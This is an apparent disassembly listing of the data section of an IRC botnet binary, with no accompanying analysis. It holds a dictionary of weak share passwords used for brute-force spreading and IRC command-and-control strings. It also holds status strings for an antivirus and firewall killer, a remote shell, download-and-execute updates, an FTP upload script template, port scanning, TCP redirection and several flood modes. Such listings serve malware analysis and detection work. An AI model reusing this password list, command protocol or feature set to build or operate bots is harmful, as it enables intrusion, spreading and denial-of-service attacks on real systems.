					; .nsp0:00427678o
		align 4
aOwner_0	db 'OWNER',0            ; DATA XREF: .nsp0:004252B4o
					; .nsp0:00427674o
		align 10h
aDemo		db 'DEMO',0             ; DATA XREF: .nsp0:004252B0o
					; .nsp0:00427670o
		align 4
aFiles		db 'FILES',0            ; DATA XREF: .nsp0:004252ACo
					; .nsp0:0042766Co
		align 10h
aRead		db 'READ',0             ; DATA XREF: .nsp0:004252A8o
					; .nsp0:00427668o
		align 4
aBoth		db 'BOTH',0             ; DATA XREF: .nsp0:004252A4o
					; .nsp0:00427664o
		align 10h
aLadeda		db 'ladeda',0           ; DATA XREF: .nsp0:004252A0o
					; .nsp0:00427660o
		align 4
aFull_0		db 'FULL',0             ; DATA XREF: .nsp0:0042529Co
					; .nsp0:0042765Co
		align 10h
aWrite		db 'WRITE',0            ; DATA XREF: .nsp0:00425298o
					; .nsp0:00427658o
		align 4
aShare_0	db 'SHARE',0            ; DATA XREF: .nsp0:00425294o
					; .nsp0:00427654o
		align 10h
aTemp		db 'TEMP',0             ; DATA XREF: .nsp0:00425290o
					; .nsp0:00427650o
		align 4
aPassword	db 'PASSWORD',0         ; DATA XREF: .nsp0:0042528Co
					; .nsp0:0042764Co
		align 4
aAdmin_0	db 'ADMIN',0            ; DATA XREF: .nsp0:00425288o
					; .nsp0:00427648o
		align 4
aRoot_0		db 'ROOT',0             ; DATA XREF: .nsp0:00425280o
					; .nsp0:00427640o
		align 4
aGuest_1	db 'GUEST',0            ; DATA XREF: .nsp0:0042527Co
					; .nsp0:0042763Co
		align 4
aBla		db 'bla',0              ; DATA XREF: .nsp0:00425278o
					; .nsp0:00427638o
aFubar		db 'fubar',0            ; DATA XREF: .nsp0:00425274o
					; .nsp0:00427634o
		align 4
aAdministrato_1	db 'ADMINISTRATOR',0    ; DATA XREF: .nsp0:00425268o
					; .nsp0:00427628o
		align 4
aUser_0		db 'USER',0             ; DATA XREF: sub_40DA9B+262o
					; .nsp0:0042525Co ...
		align 10h
aDb2		db 'db2',0              ; DATA XREF: .nsp0:00425258o
aOracle		db 'oracle',0           ; DATA XREF: .nsp0:00425254o
					; .nsp0:00425340o
		align 4
aDba		db 'dba',0              ; DATA XREF: .nsp0:00425250o
aDatabase	db 'database',0         ; DATA XREF: .nsp0:0042524Co
					; .nsp0:00425334o
		align 4
aDefault	db 'default',0          ; DATA XREF: .nsp0:00425248o
					; .nsp0:004259D4o
aGuest_0	db 'guest',0            ; DATA XREF: .nsp0:00425244o
		align 4
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: .nsp0:off_425240o
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: .nsp0:0042523Co
					; .nsp0:00426968o
aStudent	db 'student',0          ; DATA XREF: .nsp0:00425238o
					; .nsp0:004268B0o
aOwner		db 'owner',0            ; DATA XREF: .nsp0:00425234o
		align 10h
aComputer	db 'computer',0         ; DATA XREF: .nsp0:00425230o
					; .nsp0:0042534Co
		align 4
aRoot		db 'root',0             ; DATA XREF: .nsp0:0042522Co
					; .nsp0:00425284o ...
		align 4
aStaff		db 'staff',0            ; DATA XREF: .nsp0:00425228o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: .nsp0:00425224o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: .nsp0:00425220o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: .nsp0:0042521Co
aAdministrateur	db 'administrateur',0   ; DATA XREF: .nsp0:00425218o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: .nsp0:00425214o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: .nsp0:00425210o
					; .nsp0:00425270o ...
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_415F6F:loc_41607Ao
					; .nsp0:0042520Co ...
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .nsp0:00425160o
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .nsp0:0042515Co
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .nsp0:00425158o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .nsp0:off_425154o
		align 4
a@room		db '*@room',0           ; DATA XREF: .nsp0:off_425150o
		align 10h
dword_42C110	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: sub_401221+465o
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_42C144	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: sub_401221+41Ao
aServerRunningO	db '- Server running on Port: 113.',0
		align 10h
unk_42C170	db  2Dh	; -		; DATA XREF: sub_401221+3EDo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 10h
unk_42C1B0	db  2Dh	; -		; DATA XREF: sub_401221+39Co
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_42C1D4	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: sub_401221+361o
		dd 2E646574h, 0
dword_42C1F0	dd 25207325h, 25222064h, 2273h ; DATA XREF: sub_401221+28Co
dword_42C1FC	dd 255C7325h, 73h	; DATA XREF: sub_401221+186o
					; sub_413D6E+7Eo
dword_42C204	dd 73257325h, 0		; DATA XREF: sub_401221+10Ao
					; sub_40E7B9+EAo ...
unk_42C20C	db  2Dh	; -		; DATA XREF: sub_4017E7+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40194F+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40194F+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+7122o
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+710Do
		align 4
unk_42C274	db  2Dh	; -		; DATA XREF: sub_401AC7+7100o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
unk_42C294	db  2Dh	; -		; DATA XREF: sub_401AC7+70E3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_42C2B4	db  2Dh	; -		; DATA XREF: sub_401AC7+7085o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 10h
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401AC7+7062o
		align 4
unk_42C308	db  2Dh	; -		; DATA XREF: sub_401AC7+7015o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401AC7+7006o
					; sub_401AC7+7076o
		align 10h
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401AC7+6FF2o
		align 4
asc_42C388:				; DATA XREF: sub_401AC7+6FC2o
		unicode	0, <~>,0
unk_42C38C	db  2Dh	; -		; DATA XREF: sub_401AC7+6F71o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 10h
unk_42C3B0	db  2Dh	; -		; DATA XREF: sub_401AC7+6F07o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 4
unk_42C3D8	db  2Dh	; -		; DATA XREF: sub_401AC7+6EC1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
unk_42C3FC	db  2Dh	; -		; DATA XREF: sub_401AC7+6EA1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 10h
unk_42C420	db  2Dh	; -		; DATA XREF: sub_401AC7+6E84o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
unk_42C444	db  2Dh	; -		; DATA XREF: sub_401AC7+6E60o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 4
dword_42C468	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401AC7+6E43o
		dd 2E732520h, 0
unk_42C484	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_40888Ao
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 10h
unk_42C4B0	db  2Dh	; -		; DATA XREF: sub_401AC7+6DBCo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_42C4D4	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_408802o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_42C4FC	db  2Dh	; -		; DATA XREF: sub_401AC7+6D31o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401AC7+6D17o
unk_42C528	db  2Dh	; -		; DATA XREF: sub_401AC7+6C0Do
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
unk_42C550	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_4086BBo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_42C574	db  2Dh	; -		; DATA XREF: sub_401AC7+6BEAo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_42C594	db  2Dh	; -		; DATA XREF: sub_401AC7+6BBDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_42C5BC	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_408664o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_42C5E4	db  2Dh	; -		; DATA XREF: sub_401AC7+6B6Fo
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_42C604	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_4085F9o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_42C634	db  2Dh	; -		; DATA XREF: sub_401AC7+6B28o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_42C654	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_408595o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_42C684	db  2Dh	; -		; DATA XREF: sub_401AC7+6AC7o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
dword_42C6A8	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401AC7+6A85o
		dd 27732527h, 2Eh
dword_42C6C4	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401AC7+6A6Bo
		dd 0
dword_42C6DC	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401AC7:loc_4084D7o
		dd 746E6573h, 2Eh
unk_42C6F8	db  2Dh	; -		; DATA XREF: sub_401AC7+6A09o
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_42C718	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401AC7+69D0o
		dd 732520h
unk_42C730	db  2Dh	; -		; DATA XREF: sub_401AC7+69C2o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
asc_42C75C:				; DATA XREF: sub_401AC7+69AAo
					; sub_40E7B9+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42C760	db  2Dh	; -		; DATA XREF: sub_401AC7+6980o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 4
unk_42C784	db  2Dh	; -		; DATA XREF: sub_401AC7+696Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
dword_42C7A8	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_401AC7+68E7o
		dd 2E732520h, 0
unk_42C7C4	db  2Dh	; -		; DATA XREF: sub_401AC7+68A4o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
unk_42C7F4	db  2Dh	; -		; DATA XREF: sub_401AC7+6888o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_42C81C	db  2Dh	; -		; DATA XREF: sub_401AC7+67E4o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
unk_42C83C	db  2Dh	; -		; DATA XREF: sub_401AC7+67A4o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
unk_42C85C	db  2Dh	; -		; DATA XREF: sub_401AC7+674Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_42C878	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401AC7+66DBo
dword_42C88C	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401AC7+66A1o
					; sub_401AC7+6E50o
unk_42C898	db  2Dh	; -		; DATA XREF: sub_401AC7+6677o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401AC7+6669o
		align 10h
dword_42C8C0	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401AC7+663Eo
		dd 25203A29h, 73h
dword_42C8DC	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401AC7+65D2o
		dd 203A2973h, 7325h
dword_42C8F8	dd 45444F4Dh, 732520h	; DATA XREF: sub_401AC7+657Ao
dword_42C900	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401AC7+654Ao
		dd 203A2973h, 7325h
dword_42C91C	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401AC7+64D4o
dword_42C928	dd 0A0D7325h, 0		; DATA XREF: sub_401AC7+64A2o
					; sub_401AC7+652Bo ...
dword_42C930	dd 54524150h, 732520h	; DATA XREF: sub_401AC7+6469o
dword_42C938	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401AC7+6458o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42C974	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401AC7+63E9o
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 10h
unk_42C9A0	db  2Dh	; -		; DATA XREF: sub_401AC7+635Co
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42C9DC	db  2Dh	; -		; DATA XREF: sub_401AC7+62F1o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_42CA10	db  2Dh	; -		; DATA XREF: sub_401AC7+6285o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
dword_42CA44	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: sub_401AC7+6244o
		dd 7325h
dword_42CA5C	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401AC7:loc_407C77o
dword_42CA70	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401AC7+616Co
					; sub_401AC7+621Eo ...
dword_42CA80	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401AC7:loc_407BD6o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 4
dword_42CAC8	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401AC7+6105o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_42CB04	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401AC7+6096o
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 10h
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401AC7+5FF1o
		align 4
dword_42CB3C	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401AC7+5F92o
		dd 7325203Ah, 0
unk_42CB58	db  2Dh	; -		; DATA XREF: sub_401AC7+5F87o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
dword_42CB7C	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401AC7:loc_407988o
					; sub_401AC7:loc_408553o
unk_42CB88	db  2Dh	; -		; DATA XREF: sub_401AC7+5EACo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_42CBAC	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_407951o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_42CBE4	db  2Dh	; -		; DATA XREF: sub_401AC7+5E80o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42CC1C	db  2Dh	; -		; DATA XREF: sub_401AC7+5E0Ao
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42CC48	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401AC7+5D93o
aFailedToStartC	db '- Failed to start clone thread, error: <%d>.',0
		align 4
dword_42CC84	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401AC7+5D24o
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
unk_42CCB4	db  2Dh	; -		; DATA XREF: sub_401AC7+5CABo
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42CCEC	db  2Dh	; -		; DATA XREF: sub_401AC7+5C39o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42CD1C	db  2Dh	; -		; DATA XREF: sub_401AC7+5BB2o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_3	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42CD54	db  2Dh	; -		; DATA XREF: sub_401AC7+5B40o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42CD84	db  2Dh	; -		; DATA XREF: sub_401AC7+5ACAo
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42CDBC	db  2Dh	; -		; DATA XREF: sub_401AC7+5A58o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42CDF8	db  2Dh	; -		; DATA XREF: sub_401AC7+59E2o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42CE38	db  2Dh	; -		; DATA XREF: sub_401AC7+5973o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_42CE64	db  2Dh	; -		; DATA XREF: sub_401AC7+58A7o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42CEA8	db  2Dh	; -		; DATA XREF: sub_401AC7+5838o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42CEE4	db  2Dh	; -		; DATA XREF: sub_401AC7+573Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 10h
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401AC7+56BAo
		align 10h
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401AC7+55B8o
		align 10h
dword_42CF40	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401AC7+5524o
					; sub_401AC7+6727o
unk_42CF4C	db  2Dh	; -		; DATA XREF: sub_401AC7+54C3o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_5	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42CF88	db  2Dh	; -		; DATA XREF: sub_401AC7+5454o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42CFD8	db  2Dh	; -		; DATA XREF: sub_401AC7+53BDo
					; sub_401AC7+57ADo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start scan thread, error: <%d>.',0
		align 10h
unk_42D010	db  2Dh	; -		; DATA XREF: sub_401AC7+534Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_42D078	db  2Dh	; -		; DATA XREF: sub_401AC7+51D8o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan, no IP specified.',0
		align 4
unk_42D0AC	db  2Dh	; -		; DATA XREF: sub_401AC7+517Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan, port is invalid.',0
		align 10h
unk_42D0E0	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_406B22o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 10h
unk_42D110	db  2Dh	; -		; DATA XREF: sub_401AC7+5054o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401AC7+503Bo
aSS_3		db '-s:%s',0            ; DATA XREF: sub_401AC7+5024o
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401AC7+5004o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_401AC7+4FE0o
		align 10h
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401AC7+4FCFo
		align 10h
unk_42D180	db  2Dh	; -		; DATA XREF: sub_401AC7+4F76o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 10h
unk_42D1A0	db  2Dh	; -		; DATA XREF: sub_401AC7+4F1Do
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 10h
unk_42D1E0	db  2Dh	; -		; DATA XREF: sub_401AC7+4EC0o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToStar_9	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42D218	db  2Dh	; -		; DATA XREF: sub_401AC7+4E55o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 10h
unk_42D260	db  2Dh	; -		; DATA XREF: sub_401AC7+4DA7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
